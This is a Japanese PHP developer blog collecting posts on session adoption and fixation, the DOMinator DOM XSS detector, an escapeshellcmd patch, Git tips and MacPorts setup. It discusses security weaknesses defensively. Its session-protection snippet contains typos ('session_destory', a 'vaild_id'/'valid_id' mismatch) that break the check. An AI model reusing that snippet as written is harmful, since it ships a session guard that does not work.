PHPのスクリプトを使ってアダプティブなPHPセッションをアダプティブにしない方法を紹介します。
このブログで紹介していたかどうか覚えていないですが、セッションアダプション対策としてsession_regenerate_id()が導入された時に議論・紹介されているので知っている方も多いと思います。(というより、PHPerの常識ですよね?)
まずはセッションアダプションの原理と対策の復習をしておきます。
...
- 原理: 未初期化のセッションIDを受け入れる
- 対策: 初期化済みセッションIDのみ受け入れる
session_regenerate_id()は新しいセッションIDを生成して新しいセッションクッキーを作成して、セッションデータを保存するようになっています。session_regenerate_id()を呼んだだけでは、なんらかの方法で複数のセッションクッキーがドメイン・パスに設定されている場合、セッションクッキーが更新できない場合があります。この場合、PHPモジュールは同じセッションクッキーで初期化してしまいます。
ユーザ(スクリプト)側でセッションIDが初期化済みであるかどうか確認する事は簡単です。session_regenerate_id()を呼んだ後に、セッション配列($_SESSION)に何らかの目印を埋め込んでおけば十分です。例えば、こんな感じです。
session_destory();
session_regenerate_id();
$_SESSION['vaild_id'] = session_id();
このようにセッションクッキーが新しくなるように設定してセッションを利用する前に
if ($_SESSION['valid_id'] !== session_id()) {
die('Invalid use of session ID');
}
などと処理します。簡単ですね。念の為に何故これで大丈夫なのか解説しておきます。
上記の手順でセッションIDを設定し、セッション配列を確認すると、外部からセッションIDが与えられたり(URLリライターの利用など)した場合、セッションが破棄されます。セッションIDが再生成された後、セッション配列にPHPで初期化済みである目印としてセッションIDを保存しています。実際にセッションを利用する際に目印が正しいかチェックすると、アダプティブでない厳格なセッション管理が行えます。
私がWebアプリセキュリティ対策入門を書いていた頃はPHP本体でセッションアダプション対策が行われる(行われた)、と考えていたので本の中では紹介しませんでした。セッションモジュールに最初からsession_regenerate_id関数が無かったので、この様な対策を行っているアプリは無かったですし、ユーザ側の対策では対策に漏れが出る事は火を見るより明らかです。既に提案されていた厳格なセッション管理パッチがPHP本体に採用されるのは当然だ、と思っていました。
ユーザ(スクリプト)側でのセッションアダプション対策は既に紹介した通り比較的簡単です。しかし、簡単であってもユーザ(スクリプト)側での対策には問題もあります。
- ユーザ側での対策なので実装されていない可能性がある
- ユーザ側での対策なので実装したつもりでも正しく実装されてない可能性がある
- 他の環境(Java, Ruby, Python,etc)ではセッションアダプション対策が行われているのでWeb開発経験者でも間違える可能性が高い。
- 初めてPHPでWebアプリ開発を行う場合、間違える可能性は更に高い。
- 対策を行っていないアプリが結構あると推測される。
PHPのセッションモジュールでセッションアダプ対策を実装していた方が簡単なだけでなく確実です。セッションモジュールで対策されていればセッションアダプション対策にsession_regenerate_id()を呼ぶ必要さえありません。
最近のPHPアプリの動向を詳しく調べていないので推測ですが、このエントリで紹介された対策を現在でも行っていないアプリが多数存在すると思われます。
PHP開発者はセッションアダプションの問題はユーザ側の問題である、としていますがセッションモジュールを少し改良するだけでアダプション脆弱性問題を全て解決できます。ユーザ側での対策には限界があるのでプラットフォームで対応すべきだと私は考えています。セッションモジュールの改良に副作用もありません。PHPのセッションモジュールのアダプション脆弱性が修正された場合でも、ここで紹介した対策を実装していても何の問題もありません。(一部のアプリに影響する事は知っていますが、特殊なアプリです。一般的なアプリが犠牲になるより特殊なアプリの方で対策すべきでしょう)
セッションアダプション脆弱性を修正すると、セッションを盗まれるリスクの代わりにDoSのリスクが発生します。しかし、これは私が時々紹介している「全てのドメインとパスに設定されているセッションクッキーを削除する」対策を行えばかなりリスクは軽減できます。特定ユーザに対するDoSのリスクがあるとは言っても、セッションを盗まれるリスクの2択でどちらを選ぶか?迷う人は居ないと思います。
最近のフレームワークを利用して開発している方は多分大丈夫だと思いますが、最近のフレームワークを使って開発している方もそうでない方も、セッションIDの管理がどのような実装になっているか確認すると良いと思います。
2 コメント
適用されていないと気が付いたとき、PHP 4.4のサポートが終了するとき、そして先日と3度目の提案ですが、今回も無理そうですね。ここで紹介した対策はあまりこの紹介したくない対策なのですが、今回もダメそうなので紹介しました。
しつこい、またアホな提案している、と思われてもシンプルで確実な方が正しい、と考えているのでまた提案します。
セッション管理について調べた方、是非結果を教えてください!
P.S. コメント機能に問題があるようなので、直るまではメールやツイッターで教えてください。
コメントを残す
PHP 5.4の文字エンコーディング設定
PHP 5.4 RC1が公開されています。PHP 5.4のリリースが近いです。PHP 5.3の--enable-zend-multibyeの問題でバグレポートをした関係でinternals MLでメールのやり取りをして分った事とその他をまとめておきます。主にSJISを使う場合の注意点です。間違い・勘違いもあるかも知れないので気が付いたらコメントを下さい。
- PHP 5.4はデフォルトの内部エンコーディングがISO-8859-1になる
- SJISでコードを書く場合はzend.script_encoding=SJISを書く
- SJISでコードを書く場合は内部エンコーディングをSJIS(mbstring.internal_encoding=SJIS)に設定する
- SJISで出力する場合はmbstring.http_output=SJIS (output_handler=mb_output_handlerなどが必要)を設定する
- SJISでページを書いている場合、SJISが入力になるのでmbstring.http_input=SJISを設定する
- Zend Multibyteサポートがコンパイルオプションからランタイムオプション(zend.multibyte=On)になる
- Zend Multibyteサポートにはmbstringが必須
- mbstringがモジュールとしてビルドされている場合でもZend Multibyteサポートを有効にできる
- declare(encoding=...)でスクリプト中からスクリプトのエンコーディングが指定できる
php -c php.ini-development -d zend.multibyte=1 SJIS_script.phpとしてSJISが含まれるスクリプト(例えば、echo "表")を実行するとSJISの文字が?に変換されてしまいます。正しく処理するには-d mbstring.internal_encoding=UTF-8などを追加し
php -c php.ini-development -d zend.multibyte=1 -d mbstring.internal_encoding=utf-8 SJIS_script.php
などとしなければなりません。
全般的にマルチバイト文字エンコーディングのサポートが改良されていますが、以前と多少異なる部分があるので注意が必要です。
1 コメント
ISO-8895-1 -> ISO-8859-1
ありがとうございました。
ところでコメント機能がおかしいようです。これも徳丸さんに教えてもらいました。近日中に直したいのですが、しばらく時間が必要です。。。早めに直します。ご意見・フィードバックはメールかツイッターでも大歓迎です。
コメントを残す
DOMベースXSSの検出ツール
久しぶりにブログを更新すると色々書きたくなるものですね。ということでまだこのブログでは紹介したことがないDOMベースXSSのオープンソースツール、DOMinatorを紹介します。最近の商用ツールも類似の機能をサポートしています。
http://code.google.com/p/dominator/
DOMベースXSS: JavascriptはDOMを利用してHTMLを動的に変更できます。この機能を利用するとブラウザ側のJavascriptで動的に変化するWebサイトを構築できます。HTMLなどを修正するとデータにユーザが入力が含まれているとプログラマが意図しないJavascriptが実行できます。
要はクライアントサイドのJavascriptインジェクション攻撃の事です。
Javascriptは非常に柔軟な言語で便利な反面、セキュリティチェックが非常に難しい言語でもあります。DOMinatorはJavascriptの柔軟性を上手く利用して、DOMベースのXSSを検出します。Javascriptの入出力を監視し、DOMベースXSSが可能である箇所を見つけ出します。百聞は一見に如かず。デモ動画を見ればDominatorを使ったDOMベースXSSチェックがどのように便利であるのか分かります。
http://www.youtube.com/watch?v=f_It469LUFM
(動画に音声はありません。説明はTEXTエディタに書いてあるのでHDにして最大画面にして見てください)
どうですか?ソースコードを読んで解析するより何倍、いえ何十倍も楽にDOMベースのXSSを検出できました。
簡単そうに見えますが、使いこなすには色々コツと知識が必要です。既に情報が古くなっていますが
http://code.google.com/p/domxsswiki/
の
http://code.google.com/p/domxsswiki/wiki/LocationSources
などを利用してJavascriptインジェクションが可能か調べると、サイトが脆弱であるか分かります。あまり使いこなし方が分からなくても有用なツールです。Javascriptで動的なサイトを構築している方、特にユーザがコントロールできる情報使いJavascriptでページを操作している方は一度DOMinatorを使ってみると良いでしょう。
ところで、PROVE for PHPのマイナーバージョンアップをしました。PDOなどの内部オブジェクトの対応はまだですが、Webコンソールを改善しました。(まだまだ改善が必要で、どんどん改善します)PROVEもDOMinatorに似ていると言えば似ていると言えます。PHPの内部動作を詳細に記録し、差分を取ることでPHPやアプリが正しく動作している事が確認できます。サイトにはVMwareイメージもあるので試してみてください。バグを見つけたら教えてください!
フィードバックはまだありません...
コメントを残す
PHPのSession Adoption脆弱性
PHPのセッションモジュールはセッションアダプションに脆弱なのですが、開発者の理解が得られず何年間も放置されています。
セッションアダプション脆弱性: 未初期化のセッションIDを受け入れてセッションを確立する脆弱性。
PHPのセッションIDはデフォルトでドメイン指定無し、パスは/に設定されています。専用サイトならこれであまり困ることは無いのですが、複数のアプリケーションやユーザが利用するようなサイトでは問題になります。
例えば、Chromeはパスよりドメインが優先されるのでドメインを利用したセッションIDの固定化などが起きます。IEではドメインよりパスが優先されるのでパスを利用したセッションIDの固定化などが起きます。
session_regenerate_id()を使えばOK、と考えている人も多いようですが既に設定済みのクッキーのうちどれが優先されてしまうか?が問題であるためsession_regenerate_id()を利用してもセッションIDは変わりません。優先されないクッキーを設定しても意味がないからです。
対策としては、すべてのドメイン、パスのセッションIDと同じクッキー名のクッキーを削除(空のクッキーを設定すると削除)する事ですがあまり多くの人がやっているとは思えません。根本的な解決策は「厳格なセッション管理」を行うことです。未初期化のセッションIDは受け入れないようにすれば完璧です。
セッションIDの固定化が可能な状況では、セッションアダプションに脆弱な場合はセッションを盗まれますが、厳格なセッション管理ならセッションIDを毎回振り直そうとする事になり、セッションは盗まれません。つまり、セッションが盗まれる代わりに「ログインできない」というDoS攻撃になります。セッションを盗まれるより、DoSの方が比べる必要がないくらいマシです。「ログインできない!」というユーザが居たら「ブラウザのクッキーを削除してください」と対応すれば良いだけです。
数年前にそろそろ直したら?とsecurity@php.netにメールしたのですが、開発者の問題だと勘違いしていて修正されませんでした。今日、またphp-internal@list.php.net internals@lists.php.net に再度メールをしておきました。さて、今回はどうなることでしょう?
2 コメント
http://news.php.net/php.internals
または
http://marc.info/?l=php-internals
アーカイブにされると思うのですが、大垣さんの投稿、11月のログに見当たらないです。。私の確認まちがいでしょうか?
コメントを残す
PROVE for PHP Ver 1.0
まだまだ完成度を高める必要がありますが、PHPのリグレッションテストツールのPROVE for PHPのダウンロードを開始しました。
PHPのテストスイートの設定を忘れていてPDOオブジェクトのサポートできてない事に直前に気がついたのでPDOには対応していません。これは出来るだけ早急に対応します。
Dokuwikiなどでは普通に使えます。VMwareイメージも用意しているので試してみてください。
非常用の個人利用は無料です。商用利用はご購入ください。開発に役立ちます!
フィードバックはまだありません...
コメントを残す
PROVE for PHP 0.4.0-dev リリース
PROVE for PHP 0.4.0をリリースしました。
-
IOをプラグイン化(将来PostgreSQLなどに対応)
-
prove_seek_function_call()を追加
-
ハードリンクによるコピーに対応(高速化)
-
prove_rename_function()の無効化(PHP 5.3のZend Engineの仕様変更により関数名変更はメモリエラーが発生するため)
-
ログフォーマットを更新。バージョン情報を追加。
もともとIO部分はプラグイン化するつもりだったのですが、ファイルに最適化し過ぎていた部分があったため大幅にリファクタリングしました。機能追加よりも今後の機能拡張を容易にするための変更がメインです。内部構造をかなり変更したのでバグが残っているかも知れません。もし見つけたら教えて頂けると助かります。
フィードバックはまだありません...
コメントを残す
もうバージョンアップで困らない - PROVE for PHP
昨年のPHPカンファレンスで紹介したPORVE for PHP 開発版の公開を始めました。PROVE for PHPはこんなテストが出来ます。
- PHPをアップデートしてアプリに影響が無い事を検証する
- PHPアプリをアップデートしても以前と同じように動作する事を検証する
使い方もとても簡単です。
- テストケースの作成はブラウザからアプリを利用するだけ
- ロードバランサを用いて実運用サーバからのテストケースも作成可能
- テストの実行はプログラムを実行するだけ
- 違いが在った場所はプログラムの何処か確実&簡単に判明
...
現状
- CUIとコマンドツールでの管理のみ
- GUI(Web、GTK)は順次整備予定
PROVEを利用すればPHPのセキュリティパッチがリリースされた場合に、アプリケーションの動作チェックにかかる時間は数時間もあれば十分です。PHPのバグや仕様変更で動作が変わった場所(ソースコード中の関数)は一目で分かります。
PHPアプリケーションのマイナーバージョンアップやセキュリティフィックスが思わぬ副作用をもたらさないか、チェックするのも簡単です。
PHPアプリケーションの開発時にはBDD(振る舞い駆動開発)のツールとしても利用可能です。以前に記録したログと新しい機能を開発した後のログを比較して、思ったとおりの動作になっているか、簡単に確認できます。
PHP 5.3用のPROVEは個人利用であれば無料で利用できます。
オープンソースを期待された方済みません。弊社は小さな会社なので、大きな会社のようにオープンソースにしてメンテナンスなどで儲けるビジネスモデルは無理です。。将来の課題とさせてください。
PROVEの購入は基本的にパートナー企業から購入できるようになります。しかし、一定数のユーザは弊社から直接販売致します。まだ開発版ですが購入したい方は大歓迎です。開発版購入者だけの特典もご用意しています。私か弊社に直接ご連絡下さい。
ウェブサイトにはPROVE for PHPの紹介と簡単なデモ動画も用意しています。是非ご覧ください。
フィードバックはまだありません...
コメントを残す
error: unable to index file - 初めてのGitエラー
Gitを使っていて初めてエラーらしいエラーに合いました。検索してもコレという物がヒットしなかったので書きます。
error: unable to index file aaa
fatal: updating files failed
[yohgaki@dev git-test]$ git init .Initialized empty Git repository in /home/yohgaki/tmp/git-test/.git/[yohgaki@dev git-test]$ touch aaa[yohgaki@dev git-test]$ git add aaa[yohgaki@dev git-test]$ git commit -m 'add' .[master (root-commit) ff6f5d2] add0 files changed, 0 insertions(+), 0 deletions(-)create mode 100644 aaa[yohgaki@dev git-test]$ rm aaarm: remove 通常の空ファイル `aaa'? y[yohgaki@dev git-test]$ mkdir aaa[yohgaki@dev git-test]$ touch aaa/bbb[yohgaki@dev git-test]$ git add aaa/[yohgaki@dev git-test]$ git commit -m 'add dir' .error: unable to index file aaafatal: updating files failed
[yohgaki@dev git-test]$ git commit -m 'add dir' .error: unable to index file aaafatal: updating files failed[yohgaki@dev git-test]$ cd aaa/[yohgaki@dev aaa]$ git commit -m 'commit dir' .[master 5b63843] commit dir1 files changed, 0 insertions(+), 0 deletions(-)rename aaa => aaa/bbb (100%)[yohgaki@dev aaa]$ cd ..[yohgaki@dev git-test]$ git branch* master
1 コメント
気になる記事だったので試してみました。
git version 1.7.3.2です。
手元のmacでエラーは再現しませんでした。試しに、別ディレクトリでgit cloneしてみても問題ないみたいです。
1.7.3.3固有の問題?
コメントを残す
phpのescapeshellcmdの余計なお世話を無くすパッチ
徳丸さんのブログでescapeshellcmdの余計なお世話の件が指摘されていたのでパッチを作りました。これmagic quoteと同じレベルの余計なお世話なのですが放置されています。個人的にはどのような関数にも全てバリデーション済みの文字列しか渡さないのでセキュリティ問題は発生しないのですが、UNIX系OSではペアとなる"と'はエスケープしない仕様に気が付いていないプログラマも多いかもしれません。
...
先ほど「UNIX系OSでは」と書きましたがWindowsでは異なる動作をします。この関数は仕様がいい加減でWindowsの場合は"と'も問答無用でエスケープします。(加えて%もエスケープします)ですから、徳丸さんが指摘された問題はWindowsを使っていれば発生しません。UNIX系とWindowsで動作が異なる、という厄介な関数でもあります。(セキュリティ上の問題は認識されていて、何故かWindow系のサポートは後で追加されたのでまともな動作になっています。イラっとしてしまう仕様です)取り敢えず、UNIX系OSでもescapeshellcmd関数にオプションを渡すことによりエスケープの動作を調整できるようなパッチを書きました。
一応セキュリティチームに投げておきますが、修正されるとしてもPHP 5.3だけでしょう。PHP 5.4以降になる可能性も高いです。どうしても今必要な方は自分でパッチを組み込んで使ってください。
追記:何も考えず30分ほどで作ったので定数名が変ですね。。。もしリリース版に取り込むとしても定数名は変更される可能性が高いのでこのままにしておきます。
使い方
- escapeshellcmd($str, ESCAPE_SHELL_CMD_ALL); // 全部エスケープ
- escapeshellcmd($str, ESCAPE_SHELL_CMD_END); // 先頭と終端以外はエスケープ
- escapeshellcmd($str, ESCAPE_SHELL_CMD_PAIR); // ペア以外はエスケープ(デフォルト)
第二引数のフラグを渡さないとデフォルトの動作をします。Windows系の動作は触っていないのでフラグを渡しても渡さなくても問答無用でエスケープします。(ESCAPE_SHELL_CMD_ALLと同じ)
パッチ
diff --git a/ext/standard/basic_functions.c b/ext/standard/basic_functions.c
index f7c82dd..5f269bf 100644
--- a/ext/standard/basic_functions.c
+++ b/ext/standard/basic_functions.c
@@ -3609,6 +3609,7 @@ PHP_MINIT_FUNCTION(basic) /* {{{ */
REGISTER_INI_ENTRIES();
register_phpinfo_constants(INIT_FUNC_ARGS_PASSTHRU);
+ register_exec_constants(INIT_FUNC_ARGS_PASSTHRU);
register_html_constants(INIT_FUNC_ARGS_PASSTHRU);
register_string_constants(INIT_FUNC_ARGS_PASSTHRU);
diff --git a/ext/standard/exec.c b/ext/standard/exec.c
index 713a8a0..a538390 100644
--- a/ext/standard/exec.c
+++ b/ext/standard/exec.c
@@ -51,6 +51,17 @@
#include <unistd.h>
#endif
+/* {{{ register_exec_constants
+ * */
+void register_exec_constants(INIT_FUNC_ARGS)
+{
+ REGISTER_LONG_CONSTANT("ESCAPE_SHELL_CMD_PAIR", ESCAPE_SHELL_CMD_PAIR, CONST_PERSISTENT|CONST_CS);
+ REGISTER_LONG_CONSTANT("ESCAPE_SHELL_CMD_END", ESCAPE_SHELL_CMD_END, CONST_PERSISTENT|CONST_CS);
+ REGISTER_LONG_CONSTANT("ESCAPE_SHELL_CMD_ALL", ESCAPE_SHELL_CMD_ALL, CONST_PERSISTENT|CONST_CS);
+}
+/* }}} */
+
+
/* {{{ php_exec
* If type==0, only last line of output is returned (exec)
* If type==1, all lines will be printed and last lined returned (system)
@@ -276,7 +287,7 @@ PHP_FUNCTION(passthru)
*NOT* safe for binary strings
*/
-PHPAPI char *php_escape_shell_cmd(char *str)
+PHPAPI char *php_escape_shell_cmd_ex(char *str, int flag)
{
register int x, y, l = strlen(str);
char *cmd;
@@ -304,14 +315,26 @@ PHPAPI char *php_escape_shell_cmd(char *str)
#ifndef PHP_WIN32
case '"':
case '\'':
- if (!p && (p = memchr(str + x + 1, str[x], l - x - 1))) {
- /* noop */
- } else if (p && *p == str[x]) {
- p = NULL;
- } else {
+ if (flag == ESCAPE_SHELL_CMD_ALL) {
cmd[y++] = '\\';
+ cmd[y++] = str[x];
+ } else if (flag == ESCAPE_SHELL_CMD_END) {
+ if (x == 0 || x == l - 1) {
+ cmd[y++] = str[x];
+ } else {
+ cmd[y++] = '\\';
+ cmd[y++] = str[x];
+ }
+ } else { /* ESCPAE_SHELL_CMD_PAIR */
+ if (!p && (p = memchr(str + x + 1, str[x], l - x - 1))) {
+ /* noop */
+ } else if (p && *p == str[x]) {
+ p = NULL;
+ } else {
+ cmd[y++] = '\\';
+ }
+ cmd[y++] = str[x];
}
- cmd[y++] = str[x];
break;
#else
/* % is Windows specific for enviromental variables, ^%PATH% will
@@ -363,6 +386,10 @@ PHPAPI char *php_escape_shell_cmd(char *str)
return cmd;
}
+PHPAPI char *php_escape_shell_cmd(char *str)
+{
+ return php_escape_shell_cmd_ex(str, ESCAPE_SHELL_CMD_PAIR);
+}
/* }}} */
/* {{{ php_escape_shell_arg
@@ -435,14 +462,15 @@ PHP_FUNCTION(escapeshellcmd)
{
char *command;
int command_len;
+ long flag = ESCAPE_SHELL_CMD_PAIR;
char *cmd = NULL;
- if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &command, &command_len) == FAILURE) {
+ if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|l", &command, &command_len, &flag) == FAILURE) {
return;
}
if (command_len) {
- cmd = php_escape_shell_cmd(command);
+ cmd = php_escape_shell_cmd_ex(command, flag);
RETVAL_STRING(cmd, 0);
} else {
RETVAL_EMPTY_STRING();
diff --git a/ext/standard/exec.h b/ext/standard/exec.h
index 18ba008..b39a90e 100644
--- a/ext/standard/exec.h
+++ b/ext/standard/exec.h
@@ -21,6 +21,10 @@
#ifndef EXEC_H
#define EXEC_H
+#define ESCAPE_SHELL_CMD_PAIR 0
+#define ESCAPE_SHELL_CMD_END 1
+#define ESCAPE_SHELL_CMD_ALL 2
+
PHP_FUNCTION(system);
PHP_FUNCTION(exec);
PHP_FUNCTION(escapeshellcmd);
フィードバックはまだありません...
コメントを残す
php - 短縮URLを一行で展開する
という記事があったのでPHPでやるとどうかなと作ってみた。(と言うほどの物ではありませんけど)本当に一行にするには無理があったのでの実際には2行です。他に良い方法があるかな?
$ php -r '$h=get_headers($argv[1], 1);echo $h["Location"];' http://j.mp/dankogai
専用関数があるので面白くもなんともありませんね。
フィードバックはまだありません...
コメントを残す
オープンセミナー2011@広島 2011/1/22開催
リンク: http://openseminar.localnetwork.jp/osjp2011_hiroshima
JPUG四国支部、オープンセミナー実行委員会主催のオープンセミナー2011@広島が2011/1/22(土)に開催されます。UST中継も予定されていまるので遠方の方もご覧いただけます。
http://openseminar.localnetwork.jp/osjp2011_hiroshima
...
イベント名:オープンセミナー2011@広島
主催:PostgreSQLユーザ会中国支部、オープンセミナー2011@広島 実行委員会
共催:ローカルネットワーク
後援:広島大学情報メディア教育研究センター
場所:広島大学 総合科学部K棟2階 K202講義室
アクセス:http://www.hiroshima-u.ac.jp/add_html/access/ja/saijyo4.html
(公共交通機関をご利用の場合「広大西口」バス停からが近いです。駐車場あり。自家用車もOK)
日時:2011/1/22(土) 13:00開始
費用:無料
オープンセミナーとは2003年より中四国地域で開催されているIT技術者向けの無料セミナー
です。ボランティアによって企画・運営されている非営利セミナーです。現在は香川県、岡山
県、徳島県、広島県、愛媛県で開催されています。現在のオープンセミナーは各地域での実行
委員により実行されています。オープンセミナーはスポンサーと地域のボランティアによって
成り立っています。
このメールは転送自由です。オープンセミナー2011@広島の告知にご協力頂けると幸いです。
皆様のご協力とご来場をお待ちしております。
最新のイベント情報は以下をご確認ください。
http://openseminar.localnetwork.jp/doku.php?id=osjp2011_hiroshima
オープンセミナーについて
http://openseminar.localnetwork.jp/
Ustreamについて
当日Usteramによる放送を予定しています。詳しくは、
http://openseminar.localnetwork.jp/doku.php?id=osjp2011_hiroshima
をご覧ください。
参加登録はこちらからお願いします。
http://atnd.org/events/10581
セミナーには登録無しでも参加できますが、できれば登録をお願いします。
*懇親会参加希望の方は必ず「懇親会参加」と記入して登録をお願いします。*
懇親会費は4000円を予定しています。
-------------------------------
プログラム
12:55 - 13:00
ご挨拶
13:00 - 13:50
題名:iPhone with Ruby
講師:吉田 和弘(よしだ かずひろ)
所属:株式会社ミッタシステム/日本Rubyの会
概要:iPhoneアプリ開発においてRubyやRuby on Railsを用いる方法をいくつか
紹介します。
14:00 - 14:40
題名:PHPの実行・開発環境
講師:大垣 靖男(おおがき やすお)
所属:エレクトロニック・サービス・イニシアチブ有限会社/日本PHPユーザ会/PHP技術者認定機構
概要:PHPの実行環境、開発環境には色々な環境がありその幾つかを紹介します。
14:50 - 15:10
ライトニングトーク(募集中)
15:20 - 16:30
題名:開発者として知っておきたいWindows Phone 7とInternet Explorer 9
講師:田中達彦 (たなか たつひこ)
所属:マイクロソフト株式会社 UX & クライアントプラットフォーム推進部
役職:デベロッパーエバンジェリスト
概要:開発者にとって、新しいデバイスやテクノロジはわくわくするものです。
前半50分は既存のスマートフォンの枠を超えるWindows Phone 7の概要と
アプリケーションの開発方法について、後半20分はInternet Explorer 9
を活用するためのWebサイトの開発方法を説明します。
16:40 - 17:30
題名:PostgreSQLで知るオープンソースデータベースの今
講師:石井 達夫(いしい たつお)
所属:SRA OSS Inc. 日本支社/日本PostgreSQLユーザ会
概要:ITシステムの中でも中心的な役割を果たしているデータベースと、それを
とりまく状況を、代表的なオープンソースデータベースPostgreSQLを中心
に、KVS(Key Value Store)などとの違いも含めてわかりやすく解説します。
問い合わせ先:
大垣 靖男 yohgaki@ohgaki.net (オープンセミナー実行委員 広島担当)
フィードバックはまだありません...
コメントを残す
gihyo.jpのRasmusさんインタビューの補足
私がインタビューアーと執筆を担当させて頂いたRasmusさんへのインタビュー記事は好評だったようです。
http://gihyo.jp/news/interview/2010/rasmus
この記事の中で「美しいツールは美しい問題を解決するためには非常に効果的かも知れませんが,多くの場合は必要がありません。さまざまなルールを作り,フレームワークを使い,モデルやビューを使って解決できない問題があるのです。」の部分は解説が無いと理解できないかも知れません。Rasmusさんなら私と同じようにこう思っているハズという補足なので外している可能性もありますが、この部分の意図を補足します。
...
Rasmusさんもパフォーマンスについてはかなりうるさい方です。RasmusさんがYahooの為に働き出した頃「statシステムコールが多すぎて遅くなる」と文句を言っていた事を良く覚えています。私が普段常用しているLinuxの場合、statシステムコールはカーネルレベルでキャッシュ(ディレクトリエントリがキャッシュ)されていました。ディレクトリに書き込まなければ非常に速く処理できます。Linuxでは15年くらい前には実装済みだったと思いますが、FreeBSDは比較的最近になるまでディレクトリエントリのキャッシングは実装されていませんでした。これがどのくらいパフォーマンスに影響を及ぼすか、パフォーマンスにうるさい方なら良くご存知だと思います。
PHPのinclude/require文は現在のパスを/(ルート)から検証します。つまり、/some/dir/under/very/deep/dir/in/the/system というディレクトリのファイルをインクルードすると10回のstatシステムコールが呼ばれる事になります。この問題を解決するためにRasmusさんはPHPの内部でキャッシュする仕組みを実装しました。
開発者に優しい高機能な開発環境と性能はトレードオフの関係がある場合が多いです。非常に高いパフォーマンスを求められるシステムでは様々な「無駄」を省く必要があります。F1に乗用車のような装備が必要とされていないのと同じです。開発者に優しいフレームワークは乗り心地のよい市販乗用車のような物です。様々な安全装備や快適性の為の機能が提供されています。
Webアプリはステートレスであるため、一つ一つの処理は小さく完結する物になっています。セッション管理で状態を管理しているとは言っても「リクエストがあったらレスポンスを返す」ただそれだけを行うのがWebアプリです。「リクエスト」に対して「レスポンス」を返すだけが仕事のWebアプリに、モデルやビューは無用とは言いませんが、高性能なWebアプリを作るには「無駄」なのです。最近のPCなら単純なリクエストを受け付けて、レスポンスを返すだけなら毎秒1万リクエストでも処理できますが、モデルやビューと言った仕組みを使うだけで桁違いに遅くなります。大規模なシステムであれば多少の開発コストの増加はサーバの効率的な利用で簡単にペイできます。
Web企業の多くが開発コスト、開発速度、安全性、メンテナンス性、性能を天秤に掛けて様々なアプローチで問題を解決しています。開発者を十分に教育できる企業であるなら、一般的なWebアプリフレームワークを使う意味はあまり多くありません。一般的なWebフレームワークと開発環境は開発コストとメンテナンス性に重点を置いているからです。Googleで一番多いプロジェクトはC++のプロジェクトだそうです。なぜC++のプロジェクトが多いのか?その理由は聞く必要もないでしょう。
PHPに限った事ではありませんがMVCフレームワークを使わないクイック、ダーティーな方法で実装すれば10倍、20倍、100 倍速くなる。このような場合はどちらを選択すべきなのか?は状況によって違います。1台のサーバでお釣りがくるようなホームページと、最適化していれば1000台のサーバで済むサービスに1万台、2万台、10万台のサーバを導入する必要があるサービスとでは必要とされる条件がまったく異なります。
クライアントサイドでの処理も増え複雑化してきているWebアプリですが、サーバ側だけ見ると15年前とあまり変わりません。
リクエストが来たら、レスポンスを返す
これがWebアプリのサーバサイドの仕事です。この簡単な仕事を”超"効率良くこなすにはどうすべきか?MVCフレームワークで綺麗にモデル化したアプリケーションが正解ではない環境がリアルな世界にはあるということです。
フィードバックはまだありません...
コメントを残す
PHPカンファレンス2010 ビジネスデイの講演資料(PORVE for PHP)
PHPカンファレンス2010ではビジネスデイにリグレッションテストツールのPROVE for PHPを紹介させて頂きました。その講演の資料です。Keynoteで話しながら説明するように作っていたので、PDFで見ても大丈夫なように少し改変しています。
http://blog.ohgaki.net/media/users/yohgaki/PHPCON2010PROVE4PHP.pdf
商用ですがビジネスモデルは決まっていません。今のところパーソナルユースは無償で利用できるようにする方向性でビジネスモデルを考えています。
このプレゼンの中では解説していませんが、厄介なのがSESSIONモジュールのデータの取り扱いです。セッションモジュールのセッションセーブハンドラは直接I/Oを行っているのでラッパーを書けません。幸いセッションセーブハンドラはモジュール構造を持っているので、少し無理やりですがPROVEが定義した関数を呼び出すようにしてTRACEとVALIDATIONモードが正しく動作するようにしています。
まだまだ作り足りない部分が多いのでリリースは先になりますが、アップグレード時の動作チェックが劇的に楽になります。
フィードバックはまだありません...
コメントを残す
PAGERの設定でgitのANSIエスケープシークエンスが...
私の環境では、PAGER='lv' としていたのでMac OSXのターミナルでgit diff とかするとANSIエスケープシーケンスが正しく処理されない。GIT_PARGER環境変数を以下のように修正した。
export GIT_PAGER='/opt/local/bin/lv -c'
これはMacportsのlv(マルチバイト文字も正しく表示できるテキストビューアー)ですが、普通のlessを使っている人は
export GIT_PAGER='/usr/bin/less -R'
でカラー表示になると思います。
3 コメント
コメントを残す
Mac PortでApache/PostgreSQL/MySQL/PHPを使えるように設定する
OSX標準のApache/PHPでPostgreSQLやMySQLを使えるようにしても良いのですが、いろいろカスタマイズしたい場合はMacPortsの方が便利だったりします。インストール手順が古かったりするブログもあったので(手順が抜けているかも知れませんが)最初から書きます。
...
MacPortsのインストール
MacPortsをインストールにはXcode (OSXの開発環境)が必要です。DVDに付属しているXcodeより、Webサイトから最新版のXcodeをダウンロードした方が良いでしょう。
http://developer.apple.com/technologies/tools/xcode.html
MacPortsはパッケージまたはソースからインストールできます。
http://www.macports.org/install.php
ソースからインストール必要性はあまりないので、「Mac OS X Package (.pkg) Installer」のセクションから自分の環境(Snow Leopard, Leopard, Tiger)に合ったパッケージをインストールすれば準備完了です。
Portsパッケージのインストール
MacPortsのパッケージはportコマンドでソースからインストールします。今回はApache2, PHP5, PostgreSQL 8.4, mysql 5をインストールします。
sudo port install apache2 php5-* postgresql84 mysql5
執筆時点でのPHP5パッケージはPHP 5.3でした。PHP 5.2を利用したい場合はphp52-*を利用します。このコマンドを実行するとphp-gtkなどのGUIアプリケーションもビルド&インストールします。非常に沢山のパッケージをインストールしてしまうので、少なくしたい場合はphp-gtk、php-qt、php-cairoなどのパッケージを含めないようにします。
PHPモジュールは複数ロードできますが、Zendエンジンのモジュールは一度に一つしかロードできないので注意してください。
例: php-apc, php-apd, php-eaccelerator, php-xdebugなど
apacheの起動
Apacheを自動起動したい場合は以下のコマンドを実行します。
sudo launchctl load -w /Library/LaunchDaemons/ org.macports.apache2.plist
Apacheを起動・停止するエイリアスを定義しておくと便利です。
alias mysqlstart='sudo /opt/local/bin/apachectl start'
alias mysqlstop='/opt/local/bin/apachectl stop'
postgresqlの起動
まずデータベースを初期化しなければならないので初期化します。私は/var/pgsqlをデータディレクトリにしました。
sudo mkdir /var/pgsql && chown yohgaki:yohgaki /var/pgsql
